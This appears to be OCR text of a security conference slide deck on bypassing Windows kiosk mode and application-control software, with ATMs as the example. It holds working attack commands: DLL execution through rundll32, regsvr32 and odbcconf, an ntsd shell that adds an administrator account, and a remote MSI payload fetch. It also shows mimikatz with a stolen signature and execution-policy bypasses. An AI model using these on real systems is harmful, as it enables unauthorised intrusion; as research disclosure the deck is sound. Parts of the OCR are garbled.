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Application control bypass

1. Kiosk bypass techniques
2. Delivery
3. Application control software bypass



Kiosk mode bypass

{h‘} Windows XP/7



Kiosk mode bypass

» Safe mode

* Hotkeys

*\Windows Plug&Play
*Race condition
*Booting process



Safe mOde POSITIVE TECHNOLOGIES

 F8 + Safe mode with command line
. DS reStO re mOde Choose Advanced C’Dthf:-nf-

for:
(Use the arrow keys to highlight your choice.)
* AC/DC fun .

Safe Mode with Networking

Microsoft windows Vvista

Safe Mode with Command Prompt

Enable Boot Logging

Enable low-resolution video (640x480)

Last Known Good Configuration (advanced)
Directory Services Restore Mode

Debugging Mode

Disable automatic restart on system failure

Disable Driver Signature Enforcement

start windows Normally

Description: Start windows with only the core drivers and services. Use
when you cannot boot after installing a new device or driver.




* Win+R




* Win+R

* Alt+Tab

* Alt+F4

e Alt+Shift+ESC

*F1-F12

 Shift x5 (Windows 7 only)
* Win+(etc)

http://www.techrepublic.com/blog/windows-and-office/the-
complete-list-of-windows-logo-keyboard-shortcuts/



http://www.techrepublic.com/blog/windows-and-office/the-complete-list-of-windows-logo-keyboard-shortcuts/
http://www.techrepublic.com/blog/windows-and-office/the-complete-list-of-windows-logo-keyboard-shortcuts/

AlwaysOnTop

~POSITIVE TECHNOLOGIES

This ATM is Out Of Service,
Sorry for inconvenience
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This ATM is Out Of Service,
Sorry for inconvenience
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* Disabling mouse icon
« AlwaysOnTop
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Activate Windows now

-~

| Seareh Help

What is activation?

Activation helps verdy that your copy of Windows is genusne and that # has not been
used on more computers than the Microsoft Software License Terms allow. In ths

* R ! way, activation helps prevent software co unterfeting.

The mformation collected dunng activation will not be used to contact you.

It's required

You have 30 days after installing Windows to activate t online or by telephone. You
| need to activate Windows before thes 30-day penod expires. For more information
about activation, see Activating Windows: frequently asked questions.
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* Security tools runs from regedit/autorun
- Shift x5
* Win+U

e Ctri+C
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Logical vulns
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End of the story

GAME OVER



O How to deliver malware
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* Processing
». Track2

OS services
ie  Software services (Solidcore, UPDD, etc)

i+ Processing
i+ Track2

-} VPN

@ + Firewall

“ Processing



* VPN disabling
* By default
* Logical vulns part

* Firewall rules
By default

* TLS disabling
* MAC disabling

* Files/registry manipulations



LOgical VUlnS POSITIVE TECHNOLOGIES

* VPN disabling

ninistrator




* Network card
 fw bypass
 plug&play
* USB drive
* local access to Exe file content
 plug&play
*MS13-081

* Keyboard/mouse (Teensy)



OS methods to delivery

* USB Flash

-SMB

* Telnet

*HTTP (bitsadmin/IE)

* FTP (tftp, ftp, ftp B farmanager)
* DNS (TXT)

* HID emulating



* Hotkeys:
* F1-F12
 L/R CTRL, SHIFT, ALT, WIN, TAB, ESC



* Hotkeys:
*F1-F12
* L/IR CTRL, SHIFT, ALT, WIN, TAB, ESC
* F13-F24
* Media keys (vol up/down, play, etc)
* Functional keys (start calc, IE, explorer)




Keyboard keys fuzzing
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* Teensy
* Digispark
* Arduino leonardo
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Keyboard keys fuzzing (Arduino IDE)

kdefine KEY IE (0x0223]|0xE400)

void setup() {

void loop() {
Keyboard.set_modifier(0);
Keyboard.send now():
delay(10000);
Keyboard.press (KEY_IE);
Keyboard.release (KEY_IE);

delay(4000);

Keyboard.set_keyl (KEY_F10);
Keyboard.send now():
Keyboard.set keyl(0);
Keyboard.send now():
Keyboard.set_keyl (KEY DOWN) ;
Keyboard.send now():;
Keyboard.set_keyl (0);
Keyboard.send now():
Keyboard.set_keyl (KEY DOWN) ;
Keyboard.send now():
Keyboard.set_keyl(0);
Keyboard.send _now():
Keyboard.set_keyl (KEY DOWN) ;



* Network devices
* Media devices (webcams, music, etc)

Add Hardware Wizard

Welcome to the Add Hardware Wizard

This wizard helps you:

© X

* |nstall software to support the hardware you add to your
computer.

Installing device driver software "
Click here for status.

* Troubleshoot problems you may be having with your
hardware.

A If your hardware came with an installation CD,
it is recommended that you click Cancel to
close this wizard and use the manufacturer's
CD to install this hardware.

To continue, click Nest.

¢ Back Next > Cancel




Plug&Play devices fuzzing?

e Facedancer

Travis Goodspeed Facedancer2l

http:/ /goodfet.si.net/
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App control software bypass

Story so far...

* https://evilcg.me/archives/ApplLocker Bypass_Technigues.html

* hitps://cansecwest.com/slides/2016/
CSW2016_Freingruber Bypassing_Application_Whitelisting.pdf



https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html
https://cansecwest.com/slides/2016/CSW2016_Freingruber_Bypassing_Application_Whitelisting.pdf
https://cansecwest.com/slides/2016/CSW2016_Freingruber_Bypassing_Application_Whitelisting.pdf

Typical verification methods

* Whitelist of dirs (c:\windows\system32, etc)

* Whitelist of files (c:\windows\system32\calc.exe,
ipconfig.exe, etc)

Hash comparing (usually SHA-256)
* Application sing (MS, Adobe, etc)
- Extensions blacklist



Bypassing methods

* Code execution in trusted apps (cmd, powershell)
*Hash collisions

- Bypassing extensions blacklist

* Another trusted applications (.NET, Java, PHP, etc)
* Misconfiguration (DLL)

- Exploits



* for /[f %%:i in (C:\commands.txt) do cmd /C %%i /? >> log.txt

> more commands.txt:
ATIEVXX.EXE
ATMADM.EXE
ATTRIB.EXE

WUAUCLT.EXE
WUPDMGR.EXE
XCOPY.EXE



Known methods

msfvenom -p windows/exec CMD=calc -f dll -o /tmp/
xek.dll

* rundll32 C:\xek.dll,@DIIMain
*regsvr32 /s /u xek.dll (call DllUnregisterServer)
* DLL hijacking




Find some new

msfvenom -p windows/exec CMD=calc -f dll -o /tmp/xek.dll
* rundll32 C:\xek.dll,@DIIMain

*regsvr32 /s /u xek.dll (call DllUnregisterServer)

* DLL hijacking

*rasautou -d C:\xek.dll -p @DIlIMain12 -e 1

*odbcconf /a {REGSVR "C:\xek.dll"}



- debug.exe C:\xek.com (run in memory)
* ntsd.exe C:\xek.exe
* forcedos.exe C:\xek.com



NTSD backdoor
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C:\>ntsd calc.exe
0:000> .shell

B:8000> _.shell
Microsoft UWindows XP [Uersion 5.1.2688]
(C)> Copyright 1985-2881 Microsoft Corp.

C:\><{.shell waiting 1 second<{(s) for process>
{.shell process may need input>net user Jjames abhcl23 /add
net usey Jjames abcl123 /add
.shell waiting 1 second<{(s> for process>
The command completed successfully.

C:\><.shell waiting 1 second(s) for process>

<.shell process may need input >net localgroup administrators James Zadd
net localgroup administrators Jjames Zadd

The command completed successfully.

C:\><{.shell waiting 1 second{(s) for process>
{.shell process mav need input>



If cmd disabled (packager util)

L Cihtest

Aapec:

v LEJ Mepexoa l
-‘{ Ynakosuwmk o6bvextos - [lakeTt E]@@

3agauu ana danng

--Bua-- 3HauoK... |

@ NepenmeHosaTe
(3 MepemecTnTe b3
KonupogaTte da

Ynakosuw uk

Bua: * Onucanve { Pucynox

OTkpbiTb 3TOT Pann? E Kanskynsatop

“ Wma: rundll32 C:\testilol.dll, @DIMain Mpaska Bua Cnpaska
Tun: HeussecTHeIM THN dakina undlI32 C:\test'\lol.dll,@DIlIMain 0.
[ OTkpeme [ OtmeHa ] | Backspace [ CE [ C

MC 7 8 9 / sqrt

MOrYT NOBPEAMTE KOMMbOTEp. ECnu Bbl HE A0BEPAETE UCTOYHMKY, MR 4 8 B - %

@ P alinbl us MHTEpHETa MoryT GbiTe NOAE3HBI, HO HEKOTOPbLIE Balinbl
HE OTKpbIBaiTe 3TOT dalin. P akTopbl pUcKa

MS 1 2 3 - 17%

=TToral

«

MoapobHo




Fake Sign
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EE mimikatz 2.1.1 x86
e 2.

C:\Tools>sigthief.py -1 C:\Windows\System32\consent.exe -t mimikatz.exe
dentialTool.exe

Output file: MSCredentialTool.exe

Signature_abnended.

 https://sp

FIN. b |
C: \-.TOO-I B ’i—; %~l ' hCnpuer b ocal Disk (C:) » Tools - Search | ,-_O
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https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf

Executable extensions (its no all)

* bat, cmd

°CcOom, exe, scr

*msp, msi, mst

dll, cpl, sys

* hta, js, jse, vbe, vbs, vb, wsf, wsh, sct



Executable extensions (its no all)

* bat, cmd

°CcOom, exe, scr .
*msp, msi, mst bOrmg
dll, cpl, sys

* hta, js, jse, vbe, vbs, vb, wsf, wsh, sct



A .pif file is used to start a program written for MS-DOS within Windows, and

can also be used to configure a unique environment for individual MS-DOS-
based program that run in MS-DOS mode.

PE without PE headers

C:\>copy xek.exe xek.pif
C:\>start xek.pif
Hello World!



C:\>copy xek.exe xek.supersecrethackerextension
C:\>start xek.supersecrethackerextension



C:\>copy xek.exe xek.supersecrethackerextension
C:\>start xek.supersecrethackerextension
Hello World!

* App without GUI

* https://superuser.com/questions/619921/how-to-run-an-executable-file-
without-exe-extension-using-cmd-script



https://superuser.com/questions/619921/how-to-run-an-executable-file-without-exe-extension-using-cmd-script
https://superuser.com/questions/619921/how-to-run-an-executable-file-without-exe-extension-using-cmd-script

IDDQD (16bit apps)

*R/W files
* Works with Windows registry
* Calling 32bit functions with FreeLibrary32W

 But it have more constraints &



IDDQD (powershell)

* DLL Injection
* Reflective PE Injection

* https://github.com/PowerShellMafia/PowerSploit/
tree/master/CodeExecution



* Powershell —exec bypass —nop

PS C:\U e ‘ 5
\ Sgrf-\oesktopp P ’Ge't“vCQ"‘Fe"t - Loteb -Raw; Invoke-Expression f=.TeString()




 Powershell —Version 2 —exec bypass -nop

C:\User‘s\-Desktop>power'shell -Version 2 -ExecutionPolicy Bypass -Nop
dindows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

:\Users \Desktop> $text = [I0.File]::ReadAllText(".\calc.txt")

:\Users \Desktop> Invoke-Expression -Command $text.ToString()

:\Users \Desktop> Invoke-Expression -Command $text.ToString()

:\Users \Desktop> $text = [I0.File]::ReadAllText(".\calc.txt")
:\Users \Desktop> Invoke-Expression -Command $text.ToString()

:\Users Desktop>




Another trusted apps (.NET)

* MsiExec /i http://xek.ru/test.png /q

* InstallUtil.exe
1. csc.exe /out:exeshell.exe exeshell.cs
2. InstallUtil.exe /logfile= /[LogToConsole=false /U exeshell.exe

*regsvcs.exe xek.dll

* http://www.blackhillsinfosec.com/?p=5257

* Exec in memory (https://stackoverflow.com/questions/3553875/load-
an-exe-file-and-run-it-from-memory)



http://www.blackhillsinfosec.com/?p=5257
https://stackoverflow.com/questions/3553875/load-an-exe-file-and-run-it-from-memory
https://stackoverflow.com/questions/3553875/load-an-exe-file-and-run-it-from-memory
https://stackoverflow.com/questions/3553875/load-an-exe-file-and-run-it-from-memory

Another trusted apps (Java)

- System.load("C:/xek.dll");
- Runtime.getRuntime().exec("calc.exe");

- Execution in memory (https://www.lexsi.com/
securityhub/java-native-code-injection-2)


https://www.lexsi.com/securityhub/java-native-code-injection-2
https://www.lexsi.com/securityhub/java-native-code-injection-2
https://www.lexsi.com/securityhub/java-native-code-injection-2

Security software bypass

mgfp. com

YOU HRVE CONTROL

YOUR APP CONTROL
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Privilege escalation techniques

* Arbitrary command execute - XFS AP X
« Command execute - priv escalation X
* Write files/registry - modify sec configs -

 Read files S -



Application control under attack

* No local exploits
« HT TP updates
* No signatures or bad signatures

 Security race condition
» Hash(loooooooong file)
* python-exploit.exe at the same time

* BOF

https://www.ptsecurity.com/ww-en/about/news/131496/
https://www.ptsecurity.com/ww-en/about/news/240117/
https://www.ptsecurity.com/ww-en/about/news/283971/



https://www.ptsecurity.com/ww-en/about/news/131496/
https://www.ptsecurity.com/ww-en/about/news/240117/
https://www.ptsecurity.com/ww-en/about/news/283971/

IN CASE OF FIRE




. Anon guy ;-)
. Positive Technologies researchers teams:

° ICS/SCADA
o Reverse Engineering



https://uk.linkedin.com/in/tyunusov
https://ru.linkedin.com/in/yarbabin

tyunusov@ptsecurity.com
ybabin@ptsecurity.com

@ab6at
@yarbabin

i 0 Hi


https://uk.linkedin.com/in/tyunusov
https://ru.linkedin.com/in/yarbabin
mailto:tyunusov@ptsecurity.com
mailto:ybabin@ptsecurity.com
http://a66at/
https://twitter.com/yarbabin
https://twitter.com/yarbabin
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